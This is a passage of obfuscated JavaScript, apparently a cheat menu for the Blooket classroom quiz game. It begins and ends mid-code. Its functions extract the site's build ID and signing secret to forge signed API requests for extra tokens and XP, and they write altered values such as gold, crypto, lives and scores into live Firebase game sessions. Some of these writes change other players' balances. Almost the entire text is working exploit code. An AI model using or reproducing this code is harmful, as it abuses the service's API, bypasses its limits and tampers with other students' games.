kC=kt;'PIjL'+'L'===kC(0x158)+'v'?i6[kC(0x2f0)](b[kC(0x15e)][kC(0x21f)+kC(0x33c)+kC(0x1d9)+'rAll']('div'))[kC(0x18b)+'er'](iV=>iV['inne'+kC(0x28b)+'L']==iq[kC(0x192)+'ized'+kC(0x1d4)+'s'][kC(0x341)+'nt'][kC(0x23a)+kC(0x16c)][kC(0x1ab)+kC(0x171)+kC(0x249)+'rs'][0x54d+-0x17d4+-0x62d*-0x3])[0x1871+0x6*0x5c3+0x1*-0x3b03][kC(0x1ae)+'k']():fetch(kC(0x15d)+kC(0x1f8)+kC(0x15b)+kC(0x238)+'ket.'+'com/'+kC(0x28f)+kC(0x39f)+'s/bo'+kC(0x145)+'s?na'+kC(0x242)+im,{'credentials':kC(0x187)+'ude'})[kC(0x39d)](iV=>iV[kC(0x2a4)]())['then'](iV=>{const kO=kC;if(kO(0x263)+'b'!=='Utov'+'f'){if(iV[kO(0x276)+kO(0x367)+'aila'+kO(0x2c7)]==0x26b2+0x111*0xa+-0x36*0xea&&iV[kO(0x2cc)+kO(0x17b)+kO(0x2c7)]==-0x54*-0x5+0x39e*-0x2+0x598)return alert('You\x27'+kO(0x1b4)+'it\x20y'+kO(0x244)+kO(0x160)+kO(0x2ed)+kO(0x1cc));i3()[kO(0x39d)](async ic=>{const kw=kO;kw(0x190)+'O'!=='bLDe'+'O'?iO['memo'+'ized'+'Stat'+'e']['pass'+kw(0x1ec)]=i6('Cust'+kw(0x131)+kw(0x20d)+kw(0x26a)):fetch('http'+kw(0x1f8)+kw(0x15b)+kw(0x238)+kw(0x261)+kw(0x394)+kw(0x28f)+kw(0x39f)+kw(0x1aa)+kw(0x163)+kw(0x156)+'s',{'method':kw(0x369),'credentials':kw(0x187)+'ude','headers':{'content-type':kw(0x168)+'icat'+kw(0x37e)+kw(0x2a4),'X-Blooket-Build':ic[kw(0x238)+'ketB'+kw(0x25f)]},'body':await i4({'name':im,'addedTokens':iV[kw(0x276)+kw(0x367)+'aila'+kw(0x2c7)],'addedXp':iV[kw(0x2cc)+kw(0x17b)+kw(0x2c7)]},ic[kw(0x25e)+'et'])})[kw(0x39d)](()=>alert(kw(0x39c)+'\x20'+iV[kw(0x276)+kw(0x367)+kw(0x17b)+'ble']+(kw(0x385)+'en')+(iV['toke'+'nsAv'+kw(0x17b)+kw(0x2c7)]==0x1*-0x196f+-0x7*-0x12a+0x114a?'':'s')+(kw(0x277)+'\x20')+iV[kw(0x2cc)+kw(0x17b)+kw(0x2c7)]+kw(0x304)))[kw(0x19f)+'h'](()=>alert(kw(0x251)+kw(0x1c4)+kw(0x2cf)+kw(0x1e8)+kw(0x2af)+kw(0x193)+kw(0x2e0)+kw(0x349)+'ata!'+kw(0x3aa)+kw(0x28e)+kw(0x184)+kw(0x2b2)+'u\x27re'+kw(0x224)+kw(0x264)+kw(0x1f9)));})[kO(0x19f)+'h'](ic=>{const kn=kO;'RZYF'+'T'===kn(0x2d8)+'T'?alert(kn(0x251)+'rror'+kn(0x2cf)+kn(0x1e8)+kn(0x2af)+kn(0x193)+'g\x20au'+kn(0x25a)+'ata.'+kn(0x271)+kn(0x13a)+kn(0x29e)+'o\x20up'+kn(0x2a1)+kn(0x293)+kn(0x179)+'tito'+'ol.'):iF(kn(0x251)+kn(0x1c4)+'\x20ocu'+kn(0x1e8)+kn(0x2af)+kn(0x193)+kn(0x340)+'ooks'+'!');});}else iF(kO(0x251)+kO(0x1c4)+'\x20ocu'+'rred'+'\x20fet'+kO(0x193)+kO(0x1c7)+kO(0x25a)+kO(0x1df)+kO(0x271)+kO(0x13a)+kO(0x29e)+kO(0x34b)+kO(0x2a1)+kO(0x293)+kO(0x179)+'tito'+kO(0x342));})[kC(0x19f)+'h'](()=>alert(kC(0x251)+kC(0x1c4)+kC(0x2cf)+'rred'+'\x20fet'+kC(0x193)+kC(0x239)+kC(0x145)+'s!'));})[kt(0x19f)+'h'](()=>alert('An\x20e'+'rror'+kt(0x2cf)+kt(0x1e8)+kt(0x2af)+kt(0x193)+kt(0x2e0)+'er\x20d'+kt(0x326)+kt(0x3aa)+kt(0x28e)+kt(0x184)+'e\x20yo'+kt(0x17f)+kt(0x224)+'ged\x20'+kt(0x1f9)));else{let iQ=iC(kt(0x1af)+'ht');if(!iq(iQ))return iQ(kt(0x35b)+'lid\x20'+kt(0x25c)+'t');Z[kt(0x192)+kt(0x20f)+'Stat'+'e'][kt(0x182)+'ht']=i7(iQ);}}function i7(im){const kx=gbasilDotDev_D;if(kx(0x240)+'b'==='DgRt'+'b'){let iQ=prompt(kx(0x289)+kx(0x172)+kx(0x24e));if(!m(iQ))return alert(kx(0x35b)+'lid\x20'+'inpu'+'t');im[kx(0x192)+kx(0x20f)+kx(0x133)+'e']['gold']=parseInt(iQ);}else{let ic=iC(kx(0x1fa)+kx(0x399)+kx(0x183));if(!iq(ic))return ic('Inva'+kx(0x27a)+kx(0x25c)+'t');Z[kx(0x192)+kx(0x20f)+kx(0x133)+'e']['toke'+'ns']=i7(ic);}}function i8(im){const kh=gbasilDotDev_D;if(kh(0x198)+'G'!==kh(0x198)+'G')b['memo'+kh(0x20f)+kh(0x133)+'e']['gold']=-0x2*0x1337+0x15b*-0x3+-0x1*-0x2ae3,iC['memo'+kh(0x20f)+kh(0x133)+'e'][kh(0x29f)+kh(0x37c)+'s']=-0x1*0x61+-0x2*0x1093+0x21eb,iq['memo'+kh(0x20f)+'Stat'+'e']['mate'+kh(0x2aa)+'s']=-0x1*-0x2705+-0x10f4*-0x2+-0x4889,t['memo'+kh(0x20f)+'Stat'+'e'][kh(0x130)+kh(0x35a)+'re']=-0x125+0x4*-0x419+0x11ed;else{im[kh(0x192)+'ized'+'Stat'+'e'][kh(0x14e)+'e']!=kh(0x382)+'e'&&alert(Math[kh(0x2ae)+'om']()<0x80d*-0x2+0x138a+-0x370+0.01?kh(0x134)+'?\x20(w'+kh(0x379)+kh(0x24c)+'or\x20s'+kh(0x1e7)+kh(0x274)+kh(0x36a)+kh(0x29f)+kh(0x2df):'Wait'+'ing\x20'+kh(0x169)+kh(0x311)+kh(0x1a2)+'.');for(let iV=0xd*0x257+0x20ed+0x2*-0x1fac;iV<0x1092+-0x1de0+0xd51;iV++){if(kh(0x208)+'R'===kh(0x208)+'R'){let ic=document[kh(0x21f)+kh(0x33c)+kh(0x1d9)+'r'](kh(0x29b)+kh(0x1ba)+kh(0x395)+kh(0x23e)+kh(0x27d)+kh(0x329)+'e'+(iV+(0xc7*-0x17+0x32*0x89+0x2*-0x470))+']'),ig=document[kh(0x280)+kh(0x209)+kh(0x397)+'t']('p');ig[kh(0x2a9)+'e'][kh(0x1f5)+'Weig'+'ht']=kh(0x22f),ig[kh(0x2a9)+'e'][kh(0x376)+kh(0x38e)+'n']='cent'+'er',ig['styl'+'e'][kh(0x31e)+'ht']=kh(0x364),ig[kh(0x2a9)+'e'][kh(0x18c)+kh(0x32a)+'m']=kh(0x18c)+'slat'+kh(0x262)+kh(0x259),ig[kh(0x2a9)+'e'][kh(0x283)+'terE'+kh(0x218)+'s']='none',ig[kh(0x2a9)+'e']['font'+kh(0x365)]='1.5r'+'em',ig['inne'+kh(0x155)+'t']=im[kh(0x192)+kh(0x20f)+kh(0x133)+'e'][kh(0x2f5)+kh(0x2fb)][iV]['text'],ic&&ic[kh(0x2f4)+'nd'](ig);}else{let id=i6[kh(0x2f0)](b['quer'+kh(0x33c)+kh(0x1d9)+kh(0x2b8)](kh(0x2a7)))[kh(0x303)](ip=>ip[kh(0x170)+kh(0x155)+'t']==id['memo'+kh(0x20f)+'Stat'+'e']['corr'+'ectP'+kh(0x20d)+kh(0x26a)]);id&&id[kh(0x1ae)+'k']();}}}}function i9(im){const kX=gbasilDotDev_D;if(kX(0x1d7)+'w'===kX(0x1d7)+'w'){let iQ=prompt(kX(0x34a)+kX(0x1ee)+kX(0x2be)+'er'),iV=prompt('Amou'+'nt\x20t'+'o\x20se'+kX(0x34d)+'eir\x20'+kX(0x2d0)+kX(0x2e3));if(!iQ||!m(iV))return alert('Inva'+kX(0x27a)+kX(0x25c)+'t');im[kX(0x192)+kX(0x20f)+kX(0x1d4)+'s']['fire'+kX(0x20b)][kX(0x25b)+'al']({'id':im['memo'+kX(0x20f)+'Prop'+'s'][kX(0x341)+'nt'][kX(0x245)+'Id'],'path':'c/'+im[kX(0x192)+'ized'+kX(0x1d4)+'s'][kX(0x341)+'nt']['name'],'val':{'b':im['memo'+kX(0x20f)+kX(0x1d4)+'s'][kX(0x341)+'nt'][kX(0x238)+'k'],'g':im[kX(0x192)+kX(0x20f)+kX(0x133)+'e'][kX(0x2d0)],'tat':iQ+(':swa'+'p:')+iV}});}else{if(iq[kX(0x1ad)+kX(0x16c)][kX(0x26c)+'name'][kX(0x213)+'t']('/')[-0x2*-0x101f+0x4*-0x7bf+-0x10*0x14]!='batt'+'le')return ig('Must'+kX(0x31c)+kX(0x22c)+kX(0x147)+'tle\x20'+kX(0x268)+kX(0x3a5)+kX(0x298)+'!');let ig=Z('Coin'+'\x20amo'+kX(0x24e));if(!i7(ig))return iD(kX(0x35b)+'lid\x20'+'inpu'+'t');n['memo'+kX(0x20f)+kX(0x1d4)+'s'][kX(0x1b8)+'ower'+'Coin'+'s'](ig);}}function ii(im){const kG=gbasilDotDev_D;if(kG(0x26e)+'d'!==kG(0x278)+'G'){let iQ=prompt(kG(0x18e)+kG(0x360)+kG(0x183));if(!m(iQ))return alert('Inva'+kG(0x27a)+kG(0x25c)+'t');im['memo'+kG(0x20f)+kG(0x133)+'e'][kG(0x130)+kG(0x35a)+'re']=parseInt(iQ);}else iF['memo'+kG(0x20f)+kG(0x133)+'e'][kG(0x386)+kG(0x33a)+'Need'+'ed']=0x17*-0xc0+-0x1c37+0x2d78;}function ik(im){const kq=gbasilDotDev_D;kq(0x30a)+'t'!==kq(0x30a)+'t'?i6[kq(0x1ad)+kq(0x16c)]['path'+kq(0x33d)]!=kq(0x393)+'e'?b('Pres'+kq(0x2ac)+kq(0x139)+kq(0x207)+kq(0x167)+kq(0x24b)):iC[kq(0x192)+'ized'+kq(0x133)+'e'][kq(0x28a)+'s'][kq(0x1d0)+'ach'](iV=>iV['stoc'+'k']=-0x334e+-0x29b9d+0x22ac5*0x2):(im[kq(0x192)+kq(0x20f)+kq(0x133)+'e'][kq(0x2d0)]=0x3b*0x1d+-0x1ba1+0xaab*0x2,im[kq(0x192)+kq(0x20f)+kq(0x133)+'e'][kq(0x29f)+kq(0x37c)+'s']=0x1*0x3f1+0x6*-0x3ee+0x3*0x6ad,im[kq(0x192)+kq(0x20f)+kq(0x133)+'e'][kq(0x1ce)+kq(0x2aa)+'s']=-0x1da8+-0x22a7+0x3*0x1591,im[kq(0x192)+'ized'+kq(0x133)+'e']['gues'+kq(0x35a)+'re']=0x84b*-0x1+0x1*0x1cec+-0x143d);}function iF(im){const km=gbasilDotDev_D;if(km(0x14b)+'Y'===km(0x1ea)+'E'){let iV=iC[km(0x21f)+km(0x33c)+km(0x1d9)+'r'](km(0x29b)+km(0x1ba)+km(0x395)+km(0x23e)+km(0x27d)+'hoic'+'e'+(iq+(-0x1*0x220d+0x2123+-0xeb*-0x1))+']'),ic=t[km(0x280)+km(0x209)+km(0x397)+'t']('p');ic[km(0x2a9)+'e'][km(0x1f5)+km(0x1af)+'ht']=km(0x22f),ic[km(0x2a9)+'e'][km(0x376)+km(0x38e)+'n']=km(0x29c)+'er',ic[km(0x2a9)+'e']['heig'+'ht']=km(0x364),ic[km(0x2a9)+'e'][km(0x18c)+km(0x32a)+'m']='tran'+km(0x2bb)+'eY(1'+'00%)',ic[km(0x2a9)+'e']['poin'+'terE'+km(0x218)+'s']=km(0x375),ic['styl'+'e']['font'+km(0x365)]=km(0x230)+'em',ic[km(0x170)+'rTex'+'t']=Z[km(0x192)+km(0x20f)+'Stat'+'e'][km(0x2f5)+km(0x2fb)][i7][km(0x376)],iV&&iV[km(0x2f4)+'nd'](ic);}else im[km(0x192)+km(0x20f)+km(0x133)+'e'][km(0x2e1)+'edBl'+'ooks']=[],im[km(0x192)+'ized'+km(0x133)+'e']['take'+km(0x203)+km(0x272)]=[];}function iD(im){const kQ=gbasilDotDev_D;if(kQ(0x19e)+'W'!==kQ(0x19e)+'W')try{let iV=Z[kQ(0x368)+kQ(0x37f)+kQ(0x30e)][kQ(0x38a)](ic=>n[kQ(0x37d)](ic[0x1f7c+0x58+-0x1fd3])[kQ(0x38a)](ig=>ic[0xca1+0x1c13+-0x1*0x28b3][ig]))[kQ(0x31d)+'ce']((ic,ig)=>[...ic,...ig],[])['find'](ic=>/\"\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\"/[kQ(0x287)](ic[kQ(0x20e)+kQ(0x35c)]())&&/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/[kQ(0x287)](ic['toSt'+kQ(0x35c)]()))[kQ(0x20e)+kQ(0x35c)]();iD({'blooketBuild':iV[kQ(0x384)+'h'](/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/)[-0x337*0x1+0x3fb*0x1+-0xc4],'secret':iV['matc'+'h'](/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/)[-0x2*-0x100a+0x1*-0xe16+0x5*-0x399]});}catch{V('Coul'+kQ(0x33b)+kQ(0x174)+'tch\x20'+kQ(0x13d)+kQ(0x25d)+kQ(0x314));}else im[kQ(0x192)+'ized'+kQ(0x133)+'e'][kQ(0x386)+kQ(0x33a)]=im[kQ(0x192)+kQ(0x20f)+kQ(0x133)+'e'][kQ(0x2b7)+kQ(0x322)+'nt'];}function iB(im){const kV=gbasilDotDev_D;if(kV(0x320)+'v'!==kV(0x372)+'M'){let iQ=prompt(kV(0x1fa)+kV(0x399)+kV(0x183));if(!m(iQ))return alert(kV(0x35b)+kV(0x27a)+kV(0x25c)+'t');im[kV(0x192)+kV(0x20f)+'Stat'+'e']['toke'+'ns']=parseInt(iQ);}else{let ic=ic(kV(0x327)+kV(0x2eb)+'amou'+'nt');if(!Z(ic))return i7(kV(0x35b)+kV(0x27a)+kV(0x25c)+'t');iD(n,{'path':'c/'+V[kV(0x192)+kV(0x20f)+kV(0x1d4)+'s']['clie'+'nt'][kV(0x33d)]+'/d','value':t(ic)});}}function iJ(im){const kc=gbasilDotDev_D;kc(0x166)+'V'===kc(0x166)+'V'?im[kc(0x2a5)+'eNod'+'e'][kc(0x1c9)+'rs'][kc(0x1d0)+kc(0x388)](iQ=>{const kg=kc;if(kg(0x228)+'z'===kg(0x228)+'z')iQ[kg(0x222)+'ge']=-0x65*0xf90f3+-0x5f2b01b+0x2793*0x74c3,iQ[kg(0x332)+'Cd']=-0x2*-0xfbf+0x1727+-0x1237*0x3+0.001;else{let ic=iD[kg(0x280)+kg(0x209)+'emen'+'t']('a');ic[kg(0x2a9)+'e'][kg(0x39e)+'h']=kg(0x364),ic[kg(0x2a9)+'e'][kg(0x3a8)+kg(0x366)]=kg(0x217)+'k',ic['styl'+'e'][kg(0x1e9)+'r']=ic[kg(0x376)],ic[kg(0x2a9)+'e'][kg(0x16d)+'ing']=kg(0x2fe),ic[kg(0x2a9)+'e'][kg(0x36e)+'or']=kg(0x283)+'ter',ic[kg(0x2a9)+'e']['bord'+'erBo'+kg(0x151)]='5px\x20'+kg(0x2d1)+'d\x20'+V[kg(0x21b)+'lt'],ic[kg(0x2a9)+'e'][kg(0x376)+kg(0x295)+kg(0x157)+'on']='none',ic[kg(0x2a9)+'e'][kg(0x1f5)+'Size']=kg(0x14d),ic['inne'+kg(0x155)+'t']=t,iX[kg(0x2f4)+'nd'](ic),ic[kg(0x231)+kg(0x218)+kg(0x28c)+'ener'](kg(0x219)+kg(0x1a0)+'tart'in i8?'touc'+kg(0x37a)+'rt':'clic'+'k',()=>{const kR=kg;let ig=ic();try{n(ig),e(ig);}catch{o(kR(0x251)+kR(0x1c4)+kR(0x2cf)+'rred'+'!');}});}}):(Q[V]--,!(c[Q]<=0x186f+0x4*0x746+0x47*-0xc1)&&i9(kc(0x15d)+'s://'+kc(0x15b)+kc(0x238)+kc(0x261)+'com/'+'api/'+'user'+kc(0x344)+kc(0x273)+kc(0x3a0),{'credentials':kc(0x187)+kc(0x324),'body':d[kc(0x1e3)+'ngif'+'y']({'name':n,'blook':e,'numSold':ii[o]}),'method':'put'})[kc(0x39d)](iV=>{const kd=kc;if(iV[kd(0x2a5)+'us']==-0x1b6b*-0x1+0x73+-0x1a31)return ih(kd(0x2ee)+'limi'+kd(0x164)+kd(0x1f0)+'leas'+kd(0x26f)+kd(0x294)+kd(0x173)+kd(0x19a)+'r');i4++,i3==ix&&iJ(kd(0x22d)+'\x20'+iB+('\x20blo'+'ok')+(ik!=-0xa98+0x1978+-0x1b*0x8d?'s':''));})[kc(0x19f)+'h'](iV=>{const kp=kc;ih(kp(0x251)+kp(0x1c4)+kp(0x2cf)+kp(0x1e8)+'\x20sel'+kp(0x142)+kp(0x387)+kp(0x2b1));}));}function ir(im){const kP=gbasilDotDev_D;'YSLn'+'b'===kP(0x377)+'H'?(b['memo'+kP(0x20f)+'Stat'+'e'][kP(0x175)+'e']=!(0x235d*-0x1+0xa33*0x1+0x192b),iC[kP(0x192)+kP(0x20f)+kP(0x133)+'e'][kP(0x2a6)]=!(0x44*-0x7+-0x7*0x58f+-0x2*-0x1463),iq[kP(0x192)+kP(0x20f)+kP(0x133)+'e']['lol']=!(0x16dc+-0xbe9*0x1+-0xaf2),t['memo'+kP(0x20f)+kP(0x133)+'e'][kP(0x2bc)]=!(0x21d5+-0x326+0x15*-0x176)):im[kP(0x2a5)+kP(0x26d)+'e']['enem'+kP(0x23f)]=[];}function it(im){const kU=gbasilDotDev_D;if(kU(0x16b)+'O'!==kU(0x16b)+'O'){iq[kU(0x192)+kU(0x20f)+kU(0x133)+'e'][kU(0x14e)+'e']!=kU(0x382)+'e'&&t(Z['rand'+'om']()<0x1*-0xe17+-0x21c7+-0x2fde*-0x1+0.01?kU(0x134)+kU(0x204)+kU(0x379)+kU(0x24c)+kU(0x2ff)+'omet'+kU(0x274)+'\x20to\x20'+kU(0x29f)+kU(0x2df):'Wait'+kU(0x35f)+'for\x20'+kU(0x311)+kU(0x1a2)+'.');for(let iV=-0xc48+-0x2*0x386+0x1354;iV<-0xf9*0x21+-0x169e+-0x579*-0xa;iV++){let ic=i8[kU(0x21f)+'ySel'+kU(0x1d9)+'r'](kU(0x29b)+kU(0x1ba)+kU(0x395)+kU(0x23e)+kU(0x27d)+kU(0x329)+'e'+(iV+(0x2*0xe13+0x1*0x401+0x1*-0x2026))+']'),ig=it[kU(0x280)+kU(0x209)+kU(0x397)+'t']('p');ig['styl'+'e'][kU(0x1f5)+'Weig'+'ht']='bold',ig[kU(0x2a9)+'e'][kU(0x376)+kU(0x38e)+'n']=kU(0x29c)+'er',ig['styl'+'e'][kU(0x31e)+'ht']=kU(0x364),ig[kU(0x2a9)+'e'][kU(0x18c)+kU(0x32a)+'m']=kU(0x18c)+kU(0x2bb)+kU(0x262)+'00%)',ig[kU(0x2a9)+'e'][kU(0x283)+kU(0x2f3)+'vent'+'s']='none',ig['styl'+'e'][kU(0x1f5)+'Size']=kU(0x230)+'em',ig['inne'+'rTex'+'t']=m[kU(0x192)+kU(0x20f)+'Stat'+'e']['choi'+kU(0x2fb)][iV][kU(0x376)],ic&&ic[kU(0x2f4)+'nd'](ig);}}else{let iV=prompt(kU(0x2c3)+kU(0x2b9)+kU(0x39a));if(!m(iV))return alert('Inva'+kU(0x27a)+kU(0x25c)+'t');im[kU(0x192)+kU(0x20f)+kU(0x133)+'e']['roun'+'d']=parseInt(iV);}}function iC(im){const ko=gbasilDotDev_D;if(ko(0x221)+'A'!==ko(0x221)+'A'){const iV=r?function(){const ka=ko;if(iV){const ic=q[ka(0x168)+'y'](m,arguments);return Q=null,ic;}}:function(){};return n=![],iV;}else im[ko(0x192)+'ized'+ko(0x133)+'e'][ko(0x14a)+'s']=[];}function iO(im){const kI=gbasilDotDev_D;kI(0x359)+'P'!==kI(0x180)+'V'?im[kI(0x192)+'ized'+kI(0x133)+'e'][kI(0x13c)+'y'][kI(0x21d)]=0x148c+0x1f5b*-0x1+0x1*0xacf:iF[kI(0x192)+kI(0x20f)+kI(0x133)+'e']['duck'+'s']=[];}function iw(im){const kN=gbasilDotDev_D;kN(0x32f)+'F'!==kN(0x32f)+'F'?iF(kN(0x251)+kN(0x1c4)+kN(0x2cf)+kN(0x1e8)+kN(0x2c8)+kN(0x142)+kN(0x387)+kN(0x2b1)):im[kN(0x192)+kN(0x20f)+kN(0x133)+'e'][kN(0x177)+'fe']=-0x95a+-0x360*0xa+-0x24a*-0x13;}function ix(im){const kl=gbasilDotDev_D;if(kl(0x2bf)+'k'===kl(0x24d)+'D')return!(!b||iC(iq(t)));else{if(document[kl(0x1ad)+kl(0x16c)]['path'+kl(0x33d)][kl(0x213)+'t']('/')[0x2*-0x1007+0x1744+-0x8cc*-0x1]!='batt'+'le')return alert(kl(0x1bc)+kl(0x31c)+kl(0x22c)+kl(0x147)+'tle\x20'+kl(0x268)+'et\x20c'+kl(0x298)+'!');let iV=prompt(kl(0x333)+kl(0x172)+kl(0x24e));if(!m(iV))return alert('Inva'+kl(0x27a)+kl(0x25c)+'t');im[kl(0x192)+kl(0x20f)+kl(0x1d4)+'s'][kl(0x1b8)+'ower'+kl(0x333)+'s'](iV);}}var ih=async(im,iQ)=>{const kT=gbasilDotDev_D;let iV=await i3();fetch('http'+'s://'+'fb.b'+kT(0x220)+kT(0x32b)+kT(0x215)+'/fir'+kT(0x31b)+kT(0x2a2)+'mes/'+im['memo'+'ized'+'Prop'+'s']['clie'+'nt'][kT(0x245)+'Id']+'/v',{'credentials':kT(0x187)+kT(0x324),'method':kT(0x19d),'headers':{'content-type':kT(0x376)+kT(0x1da)+'in','X-Blooket-Build':iV[kT(0x238)+kT(0x26b)+kT(0x25f)]},'body':await i4(iQ,iV['secr'+'et'])}),console[kT(0x36c)](im[kT(0x17e)+kT(0x1a1)+kT(0x383)][kT(0x341)+'nt'][kT(0x245)+'Id']);},iX=async im=>{const kz=gbasilDotDev_D;let iQ=prompt(kz(0x327)+kz(0x2eb)+kz(0x1f4)+'nt');if(!m(iQ))return alert(kz(0x35b)+kz(0x27a)+kz(0x25c)+'t');ih(im,{'path':'c/'+im[kz(0x192)+kz(0x20f)+kz(0x1d4)+'s'][kz(0x341)+'nt']['name']+'/d','value':parseInt(iQ)});};function iG(im){const kZ=gbasilDotDev_D;let iQ=document['crea'+'teEl'+kZ(0x397)+'t'](kZ(0x2a7)),iV=document[kZ(0x280)+kZ(0x209)+kZ(0x397)+'t']('a');switch(iQ[kZ(0x2f4)+'nd'](iV),iQ[kZ(0x2a9)+'e']['widt'+'h']=kZ(0x2e2)+'x',iQ['styl'+'e'][kZ(0x31e)+'ht']='450p'+'x',iQ['styl'+'e']['back'+kZ(0x2fd)+'nd']=im['bg'],iQ[kZ(0x2a9)+'e'][kZ(0x335)+kZ(0x16c)]=kZ(0x392)+'d',localStorage[kZ(0x13e)+kZ(0x250)](kZ(0x296)+'e')?(iQ[kZ(0x2a9)+'e'][kZ(0x281)+'om']=kZ(0x2a8),iQ[kZ(0x2a9)+'e'][kZ(0x299)+'t']=kZ(0x2a8)):(iQ[kZ(0x2a9)+'e'][kZ(0x363)]='20px',iQ[kZ(0x2a9)+'e'][kZ(0x225)]=kZ(0x2a8)),iQ[kZ(0x2a9)+'e'][kZ(0x357)+kZ(0x312)+kZ(0x181)]=kZ(0x3a1),iQ['styl'+'e'][kZ(0x323)+kZ(0x153)+'w']='0px\x20'+kZ(0x2ea)+kZ(0x2a8)+'\x207px'+kZ(0x398)+kZ(0x35e)+'26',iQ[kZ(0x2a9)+'e'][kZ(0x256)+kZ(0x36f)+'Y']=kZ(0x1de),iQ[kZ(0x2a9)+'e']['over'+'flow'+'X']=kZ(0x34c),iQ[kZ(0x2a9)+'e'][kZ(0x3a8)+kZ(0x366)]=kZ(0x217)+'k',iV[kZ(0x2a9)+'e']['widt'+'h']=kZ(0x364),iV[kZ(0x2a9)+'e'][kZ(0x252)+kZ(0x2fd)+'nd']=im[kZ(0x2a0)+'nt'],iV['styl'+'e'][kZ(0x3a8)+kZ(0x366)]=kZ(0x217)+'k',iV[kZ(0x2a9)+'e'][kZ(0x1e9)+'r']=im['bg'],iV['styl'+'e'][kZ(0x376)+kZ(0x295)+kZ(0x157)+'on']=kZ(0x375),iV[kZ(0x2a9)+'e'][kZ(0x376)+'Alig'+'n']='cent'+'er',iV[kZ(0x2a9)+'e'][kZ(0x1f5)+kZ(0x365)]=kZ(0x14d),iV[kZ(0x2a9)+'e'][kZ(0x16d)+kZ(0x1b0)]=kZ(0x2fe),iV[kZ(0x170)+kZ(0x155)+'t']=kZ(0x1f2)+kZ(0x137)+kZ(0x2d2)+kZ(0x220)+'et',iq(iQ,im,'Auto'+'\x20Ans'+'wer',i),iq(iQ,im,'Dail'+kZ(0x223)+'kens'+kZ(0x346)+'P',i6),iq(iQ,im,kZ(0x1cd)+kZ(0x35d)+kZ(0x2fc)+'te\x20B'+kZ(0x220)+'s',i5),document[kZ(0x1ad)+kZ(0x16c)][kZ(0x26c)+kZ(0x33d)][kZ(0x213)+'t']('/')[0xba8+0x21a5*-0x1+0x15ff*0x1]){case kZ(0x1bd):iq(iQ,im,kZ(0x2d5)+kZ(0x22b)+'to',d),iq(iQ,im,kZ(0x19b)+kZ(0x194)+kZ(0x27b),Z),iq(iQ,im,kZ(0x1a9)+kZ(0x254)+kZ(0x20d)+'ord',o),iq(iQ,im,kZ(0x1db)+'\x20Hac'+'k',a),iq(iQ,im,'Remo'+kZ(0x300)+kZ(0x285)+'fs',l);break;case'gold':iq(iQ,im,kZ(0x2d5)+'Gold',i7),iq(iQ,im,kZ(0x24f)+kZ(0x2d3)+'P',i8),iq(iQ,im,kZ(0x2d5)+kZ(0x2e4)+'er\x20B'+kZ(0x27e)+kZ(0x2fb),i9);break;case kZ(0x188)+'ory':iq(iQ,im,kZ(0x2d5)+kZ(0x305),Q),iq(iQ,im,'Stop'+'\x20Gli'+kZ(0x1be)+'s',e),iq(iQ,im,kZ(0x2b5)+kZ(0x30f)+kZ(0x292)+kZ(0x234),i0),iq(iQ,im,kZ(0x330)+kZ(0x34e)+'d',b),iq(iQ,im,kZ(0x330)+kZ(0x1fc)+'l',i1);break;case kZ(0x1d8)+'ng':iq(iQ,im,kZ(0x186)+kZ(0x14c)+kZ(0x162),iD);break;case'fish'+kZ(0x1b0):iq(iQ,im,kZ(0x2d5)+kZ(0x1af)+'ht',i2);break;case kZ(0x237):iq(iQ,im,kZ(0x2d5)+kZ(0x327)+'nse',iX);case kZ(0x206)+'y':iq(iQ,im,kZ(0x16e)+kZ(0x282)+kZ(0x132)+'look'+'s',iF);break;default:let ig=document[kZ(0x1ad)+kZ(0x16c)]['path'+kZ(0x33d)][kZ(0x213)+'t']('/')[-0x1df*-0x6+0xa42+-0x157b];ig==kZ(0x31a)+kZ(0x1f3)?(iq(iQ,im,kZ(0x2d5)+kZ(0x1fa)+'ns',iB),iq(iQ,im,kZ(0x307)+kZ(0x2e5)+kZ(0x318),iJ),iq(iQ,im,kZ(0x36b)+kZ(0x2cb)+kZ(0x235)+'s',ir),iq(iQ,im,'Set\x20'+kZ(0x2c3)+'d',it),iq(iQ,im,kZ(0x36b)+'r\x20Du'+kZ(0x2e7),iC)):ig=='king'+kZ(0x1fe)?(iq(iQ,im,kZ(0x2d5)+'Gues'+'ts',ii),iq(iQ,im,kZ(0x330)+kZ(0x133)+'s',ik)):ig==kZ(0x23c)?(iq(iQ,im,'Set\x20'+kZ(0x305),Q),iq(iQ,im,kZ(0x30d)+kZ(0x1d5)+'od',V),iq(iQ,im,kZ(0x290)+'w\x20Ab'+'ilit'+'ies',c)):ig==kZ(0x1c9)+'r'?(iq(iQ,im,'Kill'+kZ(0x1c3)+'my',iO),iq(iQ,im,kZ(0x336),iw),iq(iQ,im,'Set\x20'+kZ(0x333)+'s',ix)):alert('Coul'+kZ(0x1fb)+kZ(0x25d)+kZ(0x1c1)+kZ(0x297)+kZ(0x247));}document[kZ(0x15e)][kZ(0x2f4)+'nd'](iQ);function ic(iR){const kj=kZ;iR[kj(0x226)]=='w'&&(iQ['styl'+'e']['disp'+kj(0x366)]=iQ['styl'+'e'][kj(0x3a8)+kj(0x366)]=='none'?kj(0x217)+'k':kj(0x375)),iR[kj(0x226)]=='q'&&i(n());}document['addE'+kZ(0x218)+kZ(0x28c)+kZ(0x37b)]('keyp'+kZ(0x33a),ic,!(-0x161c+0x397*0x9+-0x7*0x175)),iV[kZ(0x231)+kZ(0x218)+kZ(0x28c)+kZ(0x37b)](kZ(0x219)+'uchs'+kZ(0x1c5)in window?kZ(0x331)+kZ(0x37a)+'rt':kZ(0x1ae)+'k',()=>{const kY=kZ;iQ[kY(0x3a2)+'ve'](),document[kY(0x3a2)+kY(0x2b3)+'entL'+'iste'+kY(0x195)](kY(0x152)+kY(0x33a),ic,!(-0x1f4d+0xac5+0x1488));});}function iq(im,iQ,iV,ic){const ky=gbasilDotDev_D;let 